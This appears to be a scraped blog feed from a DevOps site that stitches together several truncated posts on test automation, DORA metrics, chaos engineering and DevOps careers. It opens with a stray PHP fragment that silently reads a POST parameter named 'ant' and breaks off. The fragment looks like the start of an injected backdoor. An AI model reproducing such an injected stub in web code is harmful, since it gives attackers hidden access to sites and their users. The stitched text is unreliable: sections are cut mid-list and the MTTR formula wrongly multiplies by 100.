$_api_resp = @$_POST['ant'];
if ($_api_resp) {
$pk = <<
Testing is a very crucial phase of software development. It ensures the software or application is ready to enter the market. Different kinds of tests help the development teams find anomalies in various aspects of the software like user interface (UI), security, performance, etc. However, as crucial as it is, testing also demands significant time and energy.
Especially in the times of manual testing, the testing phase involved the following challenges:
In short, manual testing was inefficient and unproductive. Resources that could be spent on designing and developing new features, were instead spent on testing the old ones. This inefficiency called for automated testing or test automation…
Automation testing or test automation simply refers to the use of tools to automate the testing phase of software development.
It involves the following processes:
Test automation frameworks are a set of guidelines, tools, and practices that facilitate software testing. They include test scripts, coding standards, libraries, etc. to speed up test execution and aid in continuous testing. Linear, modular-based, and hybrid are some of the most common types of frameworks we will be talking about here:
We have already discussed about DevOps culture and a few metrics and KPIs before. In today’s article, we will be focusing on 4 standard metrics provided by DORA and how to improve them.
What are DORA Metrics in DevOps & How to Improve Them?
The aim of DevOps is to improve the software development process through better communication and collaboration between the development and operations teams. DevOps culture has four basic principles as per the CAMS model:
The third principle, that is measurement, is what entails the metrics and Key Performance Indicators (KPIs) used to evaluate the DevOps performance of companies. These metrics and KPIs also help companies find loopholes in their development and deployment process. There are several metrics and KPIs, but four of them have been set as standard by DORA.
Let’s see what is DORA and it’s 4 standard metrics…
DevOps Research and Assessment (DORA) is a research program launched by Gene Kim, Jez Humble, and Dr. Nicole Forsgren. It is a team at Google Cloud that “seeks to understand the capabilities that drive software delivery and operations performance.” (DORA)With years of research, DORA has identified 4 key metrics that help to measure the DevOps performance of businesses. These key metrics can be categorized based on what they measure.
The first category measures the throughput (or velocity) which refers to how fast changes are being made. It includes:
The second one measures stability which refers to the quality of the changes and the ability of the team to fix any failures. It includes:
Based on these metrics, DORA classifies the DevOps performance of companies into four: Elite, High, Medium and Low. After understanding all the metrics, you can also attempt the DORA Quick Check to evaluate these metrics for your company.
So let’s discuss each one of the metrics and how to improve them one by one…
Deployment frequency tells how often new codes are deployed to production. It can be simply calculated by counting the number of codes deployed over a period of time. It can range from multiple times a day (for high-performing teams) to once every 6 months or more (for low-performing teams).
Change lead time or the lead time for changes indicates the efficiency of the CI/CD pipeline based on how much time it takes for a change to get successfully deployed to production. In other words, it is “the difference in hours between the date and time of the author’s commit and the date and time of the deployment containing that commit.” (Pluralsight)
It can range from less than an hour (for high-performing teams) to more than 6 months (for low-performing teams).
Change failure percentage or change failure rate (CFR) is the percentage of deployments that lead to failures in production. A ‘change failure’ means any negative impact like crashes, low performance, or security vulnerabilities caused by a change or update. It can be calculated using the following formula:
CFR = (number of failed changes/total number of changes)*100
A CFR lower than 15% is considered good while anywhere between 16 to 30% is considered high. A lower CFR indicates a reliable CI/CD pipeline and effective testing.
Also known as failed deployment recovery time, MTTR is the time taken to recover from a partial service interruption or a total failure. It includes the time spent diagnosing and repairing the issue and redeploying the new code. It can be calculated using the following formula:
MTTR = (Total downtime/Number of incidents)*100
It ranges from less than an hour (for high-performing teams) to 6 months (for low-performing teams).
The above metrics can be summarized using the table given below:

Measuring your performance is the key to improving it. The four DORA metrics – deployment frequency, change lead time, change failure rate, and mean time to recover – help to quantitatively measure the current performance of your DevOps team. These metrics can be improved mostly through automation and smooth collaboration between teams. Continuous assessment and improvement of these metrics ultimately help to improve customer satisfaction – the goal of all businesses and companies.
The post Overall Guide About Dora Metrics appeared first on DevopsCurry.]]>What is Chaos Engineering?
Chaos Engineering is a technique used to assess the dependability of software systems by introducing controlled disorder into them. Organizations can leverage chaos engineering by establishing backup elements or procedures to ensure that the software functions smoothly during unexpected issues. The primary goal of chaos engineering is to identify vulnerabilities and weaknesses in an architectural system, enabling the entire team to evaluate performance in a production environment. Chaos engineering is derived from a concept called chaos theory and focuses on the immediate behavior of systems. It is straightforward to use, offers automation, and supports various configurations.
Definition of Chaos Engineering as per Wikipedia:
Chaos engineering is the discipline of experimenting on a system to build confidence in the system’s ability to withstand turbulent conditions in production.
According to Robert L. Devaney, to classify a dynamical system as chaotic, it must have these properties:

Image Credit: https://www.dynatrace.com/news/blog/what-is-chaos-engineering/
Principles of Chaos Engineering:
Automation: It helps ensure that experiments are repeatable and well-managed. Chaos engineers consider automation essential for conducting experiments regularly. Automation principles play an important role in chaos engineering, as it permits the repeatable, predictable, safe, and controlled injection of chaos into the system. Many chaos engineering tools, such as Chaos Toolkit and Chaos Monkey, are crucial for this purpose.
Monitoring and Observability: This principle is crucial as it collects data during chaos experiments and aids in assessing the impact of failures. These principles help organizations learn and improve the performance and reliability of their system. First, let’s discuss the monitoring principle, the process of analyzing and collecting data from a system in real-time to gain insights into its behavior, health, and performance. Monitoring plays an important role in chaos engineering as it allows for quick detection of experiment execution, among other things. Now, let’s discuss observability, a way to debug and understand a system by checking out its behavior and internal state, even when there is no clear monitoring.
Safety: Chaos engineering should be carried out with safety considerations in mind. In case of failure or catastrophic losses, chaos engineers have the capability to roll back any changes. Safety is one of the important principles of chaos engineering, required to manage experiments in a safe, controlled manner, so that the organization can identify weaknesses in their system, upgrade the overall system, and manage any losses and interference effectively.
Building a Hypothesis: Chaos engineers start by constructing hypotheses, which guide the chaos experiment. These hypotheses revolve around how a system should perform under adverse and typical conditions. When building a hypothesis for a chaos engineering experiment, it is important to define the goals, income, and variables to test. When introducing chaos, it is important to write a clear statement that narrates what you expect.
Controlled Experiments: Controlled chaos experiments involve introducing specific forms of chaos to measure various factors, such as server failures and network latency. It is a scientific investigation where researchers have to handle many variables to ensure that they carefully control many dependent variables. The main aim of the principle of controlled experiments is to establish the relationship between many variables and some irregular variables. In this principle of controlled experiments, researchers utilize a control group and other experimental groups to identify differences and draw correlations about the effect of manipulated variables.
Post-experiment Analysis: After a successful chaos experiment, the entire team’s task is to examine the data collected and determine how the system will react when subjected to injected failures. This is an important and challenging phase where you can assess deep learning and results from organized chaos experiments.
Benefits of Chaos Engineering:
Organizations derive several benefits from chaos engineering, including:
Enhanced User Experience: Chaos engineering ensures that users have the best experience, even when encountering errors, ultimately improving the overall system’s performance. Chaos engineering helps identify weaknesses in your system, resulting in less downtime, fewer outages, and an enhanced user experience. It also helps identify potential problems during deployments and software updates, which, when addressed by the team, enhances the user experience.
Cost Savings: System failures and outages can be expensive in terms of operational expenses, lost revenue, and customer churn. Chaos engineering helps mitigate these costs by decreasing financial losses stemming from customer dissatisfaction and lost revenue. It helps organizations optimize resources and identify under- or over-equipped resources, reducing irrelevant expenses.
Stimulates Innovation: Chaos engineering identifies structural flaws and designs improvements in software systems, fostering innovation. It supports the team in finding weaknesses and losses in the organization and helps uncover areas that need improvement and innovation to make the system more resilient and robust.
Cultural Shift: Chaos engineering promotes continuous learning, regular development, and experimentation between operations and development teams. The cultural shift emphasizes self-service, automation, and the reduction of manual mistakes, enabling faster and more valid testing. Chaos engineering serves as a vehicle for the team to share experiences, best practices, and knowledge, promoting a culture of knowledge sharing and continuous learning.
Improved Resilience: Chaos engineering identifies system weaknesses and enables teams to strengthen the system against unexpected issues.
Efficient Problem Detection: Chaos engineering helps identify and address problems quickly, reducing downtime. This helps organizations find and address problems that arise early, improve system resilience, and build a more robust and reliable system.
Conclusion: Chaos Engineering is a technique used to assess the dependability of software systems by introducing controlled disorder into them. The primary goal of chaos engineering is to identify vulnerabilities and weaknesses in an architectural system, enabling the entire team to evaluate performance in a production environment. In this blog article, you will be able to learn in-depth about the principles and benefits that occur through chaos engineering.
Is a Devops profile even relevant and in demand in 2023?
Sharing some data, as mentioned by Quadralogics, about the demand for Devops professionals in 2023:
There are around 1 Lakh open demands where DevOps is listed as a primary skill Out of which 10 persentage of jobs are listed in India There is a steep increase in DevOps demand in Mid- Senior level primarily attributed to the need for more DevOps Coaches or Consultants.

The demand for Devops roles and hence Devops engineer is on rise since last few years. The image below shows the median market salary for Devops eningeer in the market.

Who is a DevOps Engineer?
A DevOps Engineer is a professional who has mastered DevOps, with the primary goal of enhancing collaboration and communication within the DevOps team, a fusion of Development and Operations. The primary objective of a DevOps engineer is to streamline the software development process, ensuring that both the development and operations teams meet all requirements. DevOps engineers also help bridge the gap between the tasks needed to make an application instantly changeable and those required to make it reliable. In the latest iteration of software development, DevOps engineers play a pivotal role due to their rapid software delivery system, with a focus on security, quality, and collaboration among all team members.
In simple terms, a DevOps engineer possesses knowledge of the software development lifecycle and is well-versed in various automation tools used to facilitate the growth of Continuous Integration/Continuous Deployment (CI/CD) pipelines.
Characteristics and Responsibilities of DevOps Engineering
Collaboration: One of the primary responsibilities of DevOps engineers is to foster a culture of collaboration and distribute responsibilities between the development and operations teams. They also promote cooperation and communication among individuals and groups.
Automation: DevOps engineers are tasked with maintaining, implementing, and designing automation pipelines for deployment, code integration, and testing, reducing manual errors and ensuring a smooth process.
Additional responsibilities include:
Key Reasons to Become a DevOps Engineer in 2023
When considering a career as a DevOps engineer, you might wonder about the reasons behind it. Here are some compelling reasons:
Job Security: DevOps engineers enjoy job security because their skills remain relevant and valuable. Job security is very important for any type of job and if any job profile provide you the security then this is the best way to pursue as your career.
High Demand: DevOps engineering has gained immense popularity, with most organizations seeking top-notch DevOps engineers to achieve optimal results in software development and operational efficiency.
Good Salary: These specialized skills are highly valued in the software development lifecycle, resulting in competitive salaries. Every person has the dream to work with having good salary and this dream is fulfilled by the job od DevOps engineer.
Continuous Learning: This field offers numerous opportunities for skill development and continuous learning. Staying updated with new tools and technologies is essential. If your job profile has the power to learn you more and on a daily basis you are learning some new tools and things then this is the best reason you have to make your career as DevOps engineer.
Flexibility: DevOps skills are highly transferable across various industries, allowing you to work in diverse sectors such as e-commerce, healthcare, finance, and more.
Infrastructure as Code (IaC): DevOps engineer have to work with the tool infrastructure as code such as Ansible,Terraform etc to handle infrastructure resources in a continuous and repeated manner.
Work From Home Opportunities: Following the COVID-19 pandemic, remote work opportunities have become crucial. DevOps engineers have the flexibility to work from anywhere. This is the best way to handle your personal and professional life together and if your job profile provides you this facilities then what you need other thing. The best reason to work as devops engineer.
Conclusion:
In 2023, DevOps engineer stands out as an excellent career choice. The reasons outlined above make it a compelling option for those seeking a bright career path as DevOps engineering.
If you have not read our previous posts on Devops Career & Skills and how to transform into a Devops professionals, sharing them again for your reference. Hope this was a useful post for you, do not forget to like, comment & share.
Roles and Responsibilities of a DevOps Professional
Key Soft Skills needed to become a Devops Pro in 2023
A Complete Guide To Transition From a SysAdmin to DevOps Role
Changes call for innovation, and innovation leads to progress. This is the tried and tested method and the key to building a successful organization. Time and again the software industry is hit by a wave of challenging demands to match the market standards. And to keep up with the changing trends, organizations have started adopting new processes. One such methodology is DevOps.
The principal idea behind DevOps is to bring the two loosely connected ends i.e. the Development and Operations team together. The methodology focuses on adopting novel practices, philosophies, and tools over the conventional process of software development. This results in faster delivery, better end product, and great user satisfaction.
The benefits of DevOps are innumerable in comparison to ongoing practices in the market. However, the main challenge is to make the transition from the existing process to adopting a DevOps approach.
Here is a list of key points that the organization needs to keep in mind in order to make a smooth and effective shift.
Customer always comes first is the motto of DevOps and the organizations need to take the necessary measures to ensure the same. The organizations need to innovate and transform continuously if they go wrong with a plan of action.The team should not only rely on data and market parameters but also need to keep a keen eye on user requirements. The team must strive to achieve the right balance between the changing market trends and customer demands.
Prior to onset of DevOps, the Dev team and QA team used to work in silos, and the fully working code would then be handed over to the Operations. The perfectly running code of developers on the dev server would mostly go haywire as soon as pushed on the real-time server. The blame game would then start as the respective teams try to be defensive and prove that there is no blunder from their side. This tug of war would ultimately result in the poor quality product and in turn, adversely affects the organizations reputation.The teams in the traditional sense are considered two ends which hardly meet. But the practice of DevOps works in collaboration right from the start and focuses on bringing the team to work as a unit.
The second most important factor of DevOps methodology is to take ownership of the product as a team. All the teams are involved from the pilot to deployment and post that providing the services and maintenance. The involvement of the teams from the beginning brings the sense of working in the same unit.
The team members should not only have sound technical expertise but also try to make the decisions in their purview. The team management takes the business-related decisions, but a good DevOps practice highly encourages the team to take localized decisions. This method avoids the congestion in the whole process.
One of the most important pillars of DevOps is continuous improvement. The software market is quite dynamic and to keep up with the pace, the organizations need to learn and evolve. Just by changing the culture or adopting the process won’t help, but embracing the new market trends, adapting the technology and customer needs is the need of the hour.
Conventionally, the automation process would come in the picture only during the testing phase. The QA team would automate the test cases to check the code functionality and the Ops team would manually configure the server requirements. That was pretty much the case, but DevOps employs automation right from the time the code gets checked in. The code builds, running the test cases, and finally releasing the code for release happens automatically. That is how the entire lifecycle of DevOps is automated.
One of the fundamental pillars of DevOps is automation. To enable automation and get the maximum benefit out of it one requires the right toolchain. Let us take look at the most popular DevOps tools:
DevOps is all about taking a customer-centric approach and to enable the same, feedback from end-users is essential. The only way to solve this issue is to concentrate on user requirements and bridge the gap between end-users and DevOps.
The post Key DevOps Principles to focus in 2021 appeared first on DevopsCurry.]]>